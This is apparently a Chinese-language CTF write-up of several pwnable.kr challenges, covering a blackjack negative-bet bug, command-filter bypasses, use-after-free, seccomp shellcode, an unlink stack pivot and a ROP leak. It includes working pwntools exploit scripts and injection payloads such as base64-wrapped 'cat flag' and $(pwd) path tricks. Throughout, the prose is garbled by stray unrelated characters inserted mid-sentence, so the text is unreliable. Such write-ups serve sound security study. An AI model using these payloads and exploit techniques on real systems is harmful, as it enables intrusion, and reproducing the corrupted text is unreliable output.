由于有些題是以前做的缴啡,代碼弄丟了壁晒,就不記錄了。
blackjack
21點(diǎn)游戲业栅,目標(biāo)是贏到100w :)
正常玩的話很難贏到這么多秒咐,所以找漏洞谬晕,發(fā)現(xiàn)下面的代碼存在邏輯問題
void stay() //Function for when user selects 'Stay'
{
dealer(); //If stay selected, dealer continues going
if(dealer_total>=17)
{
if(player_total>=dealer_total) //If player's total is more than dealer's total, win
{
printf("\nUnbelievable! You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(player_total<dealer_total) //If player's total is less than dealer's total, loss
{
printf("\nDealer Has the Better Hand. You Lose.\n");
loss = loss+1;
cash = cash - bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(dealer_total>21) //If dealer's total is more than 21, win
{
printf("\nUnbelievable! You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
}
else
{
stay();
}
}
當(dāng)你輸?shù)舻臅r候,直接將你的cash - bet携取,那如果bet是負(fù)數(shù)攒钳,接下來只要輸了就能賺,所以直接下注-100w雷滋,拿到flag:
cmd1
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
把程序參數(shù)直接執(zhí)行不撑,要求參數(shù)中不能出現(xiàn)"flag","sh","tmp"。
第一個想法是編碼晤斩,因?yàn)閒lag肯定是要出現(xiàn)在命令中的燎孟,避免不了
想到用python,這里注意環(huán)境變量PATH被改成了“/thankyouverymuch”,因此調(diào)用python的時候需要用絕對路徑"/bin/python"
payload:
./cmd1 "/usr/bin/python -c 'from base64 import b64decode;import os;os.system(b64decode(\"L2Jpbi9jYXQgZmxhZw==\"))'"
cmd2
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}
這一題比上一題的過濾規(guī)則更嚴(yán)了尸昧,限制了"/"揩页,因此無法直接使用絕對路徑,這就意味著無法調(diào)用任何程序來解碼烹俗,上一題的解法就不能用了爆侣。
也想過將命令寫到/tmp/exp中后執(zhí)行,但是無法繞過"/"的限制幢妄。
最后看到了p4nda的解法兔仰,巧妙繞過“/”的限制:
echo "/bin/cat /home/cmd2/flag" > /tmp/exp
/home/cmd2/cmd2 '$(pwd)tmp$(pwd)exp'
這種方法使用$(pwd)命令來繞過“/”的限制,奇怪的是蕉鸳,這題的環(huán)境變量PATH被修改為"/no_command_execution_until_you_become_a_hacker",照理說pwd應(yīng)該也是不能執(zhí)行的乎赴,查了一下發(fā)現(xiàn):
The command is a shell builtin in most Unix shells such as Bourne shell, ash, bash, ksh, and zsh. It can be implemented easily with the POSIX C functions getcwd() or getwd(). ---維基百科
而所謂的“shell builtin”就是和shell代碼一起被實(shí)現(xiàn)的功能,不需要借助外部的程序,比如/bin/pwd,因此不受環(huán)境變量影響竹宋。用compgen -b命令可以看到shell內(nèi)置的所有函數(shù):
cmd2@prowl:~$ compgen -b
. : [ alias bg bind break builtin caller cd command compgen
complete compopt continue declare dirs disown echo enable eval exec exit export
false fc fg getopts hash help history jobs kill let local logout mapfile popd printf
pushd pwd read readarray readonly return set shift shopt source suspend test times
trap true type typeset ulimit umask unalias unset wait
uaf
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
比較典型的“use after free”。
首先使用功能3羹蚣,free掉m,w占用的堆塊乱凿,此時堆塊進(jìn)入fastbin顽素,布局如下:
可以看到有四個堆塊,每兩個分別對應(yīng)m和w變量徒蟆。(注意我這是64位ubuntu18的調(diào)試結(jié)果胁出,和目標(biāo)服務(wù)器系統(tǒng)版本不一樣,不過思路是一樣的)
接下使用功能2段审,申請相同大小的堆塊全蝶,覆蓋堆塊中的introduce函數(shù)虛表地址為give_shell在虛表中的地址。
最后使用功能1,就可以get_shell了裸诽。
memcpy
遠(yuǎn)程連接服務(wù)器,按照要求輸入對應(yīng)大小后型凳,會出現(xiàn)運(yùn)行到一半程序掛掉的情況丈冬。
這題沒有提供二進(jìn)制程序,所以只好自己編譯調(diào)試甘畅,我直接用的是gcc memcpy.c -o memcpy -lm
命令埂蕊。我這自己編譯運(yùn)行的程序可以正常運(yùn)行到最后,在服務(wù)器上編譯運(yùn)行的也可以正常運(yùn)行完成疏唾。不知道怎么獲取正在監(jiān)聽端口的程序蓄氧,就不知道這題怎么搞。猜測應(yīng)該是題目有了改動槐脏,以前的題解可以參考p4nda的博客喉童。
asm
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
這題就是讓寫shellcode,但是用seccomp限制了系統(tǒng)調(diào)用:
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
所以只能用open顿天,read堂氯,write,因此shellcode的功能只需要先打開flag文件牌废,將flag讀入內(nèi)存咽白,再向標(biāo)準(zhǔn)輸出寫入即可。shellcode的編寫鸟缕,一般使用nasm語法編寫晶框,再編譯成二進(jìn)制文件,最后用objcopy讀出代碼段的字節(jié)碼懂从。pwntools將objdump和objcopy封裝在了shellcraft函數(shù)中授段,極大方便了shellcode的開發(fā):
# coding:utf-8
from pwn import *
con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)
context(arch='amd64', os='linux')
shellcode = ""
shellcode += shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
print shellcode
print p.recv()
p.send(asm(shellcode))
print p.recvline()
unlink
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;//*(FD + 4) = BK
BK->fd=FD;//*(BK) = FD
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
這題是作者自己實(shí)現(xiàn)的不帶檢查的unlink,給了程序運(yùn)行時的堆棧地址番甩,一開始的思路是利用unlink修改返回地址為shell()函數(shù)的地址畴蒲,但是由于unlink時需要執(zhí)行(FD+4) = BK和(BK) = FD,因此不論我們通過哪一條指令寫入一個代碼段地址对室,都將在另一個指令上造成修改代碼段的情況模燥,而由于沒有運(yùn)行時修改代碼段的權(quán)限,會導(dǎo)致程序崩潰掩宜,因此此法不通蔫骂。
這題也不存在直接寫got表或者shellcode的解決方法。
苦思無果牺汤,求助p4nda的博客辽旋,發(fā)現(xiàn)在main函數(shù)返回時前存在這樣的匯編語句:
call unlink
add esp, 10h
mov eax, 0
mov ecx, [ebp+var_4]
leave
lea esp, [ecx-4]
retn
也就是說最終esp的值是由[ebp+var_4]的值決定的,而retn執(zhí)行的是pop eip,因此如果我們能夠控制ecx的值,就能夠劫持棧到我們想要的任何地方补胚。因此码耐,把棧劫持到事先布置好的堆上(如前所示,我們已經(jīng)知道堆地址)溶其,就能執(zhí)行shell()函數(shù):
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
io = process("./unlink")
io.recvuntil("here is stack address leak: ")
stack_addr = io.recvline().strip("\n")
io.recvuntil("here is heap address leak: ")
heap_addr = io.recvline().strip("\n")
heap_addr = int(heap_addr,16)
stack_addr = int(stack_addr,16)
print("[+]leak stackaddr :0x%x"%stack_addr)
print("[+]leak heap address: 0x%x"%heap_addr)
target_addr = stack_addr + 0x10 - 4
shell_addr = 0x080484eb
payload = p32(shell_addr)*4
payload += p32(target_addr) + p32(heap_addr + 12)
io.sendline(payload)
io.interactive()
至于為什么main函數(shù)返回前會出現(xiàn)這樣的指令骚腥,猜測應(yīng)該是編譯器優(yōu)化有關(guān)。
blukat
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
char flag[100];
char password[100];
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
void calc_flag(char* s){
int I;
for(i=0; i<strlen(s); i++){
flag[i] = s[i] ^ key[I];
}
printf("%s\n", flag);
}
int main(){
FILE* fp = fopen("/home/blukat/password", "r");
fgets(password, 100, fp);
char buf[100];
printf("guess the password!\n");
fgets(buf, 128, stdin);
if(!strcmp(password, buf)){
printf("congrats! here is your flag: ");
calc_flag(password);
}
else{
printf("wrong guess!\n");
exit(0);
}
return 0;
}
這題看了半天不知道漏洞在哪瓶逃,后來實(shí)在無法束铭,只能從文件權(quán)限上找問題,發(fā)現(xiàn):
居然可以直接讀password文件厢绝,但是這個作者有點(diǎn)壞契沫,直接cat password的話會顯示:
cat: flag: No such file or directory
但是實(shí)際上這就是這個password文件的內(nèi)容。昔汉。懈万。。用vi就能看到了靶病。輸入password就能拿到flag了钞速。
horcruxes
簡單rop,泄露出所有的魂器值嫡秕,本地相加后就得到了sum值渴语,之后就能打敗伏地魔啦:)
需要注意的是,魂器值相加可能會超出四字節(jié)整型數(shù)的表數(shù)范圍導(dǎo)致結(jié)果不對昆咽,因此本exp需要多次嘗試驾凶。
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
#io = process("./horcruxes")
io = remote("pwnable.kr",9032)
a = 0x0809FE4B
b = 0x0809FE6A
c = 0x0809FE89
d = 0x809FEA8
e = 0x809FEC7
f = 0x0809FEE6
g = 0x0809FF05
call_ropme = 0x0809FFFC
io.recvuntil("Select Menu:")
io.sendline("1")
payload = "0" * 120 + p32(a) + p32(b) + p32(c) + p32(d) + p32(e) + p32(f) + p32(g) + p32(call_ropme)
io.sendline(payload)
t = []
for i in range(7):
io.recvuntil("(EXP +")
t.append(io.recvuntil(")").strip(")"))
t = [int(x) for x in t]
s = 0
print t
for i in t:
s += i
io.sendline("1")
#gdb.attach(io)
io.sendline(str(s))
io.interactive()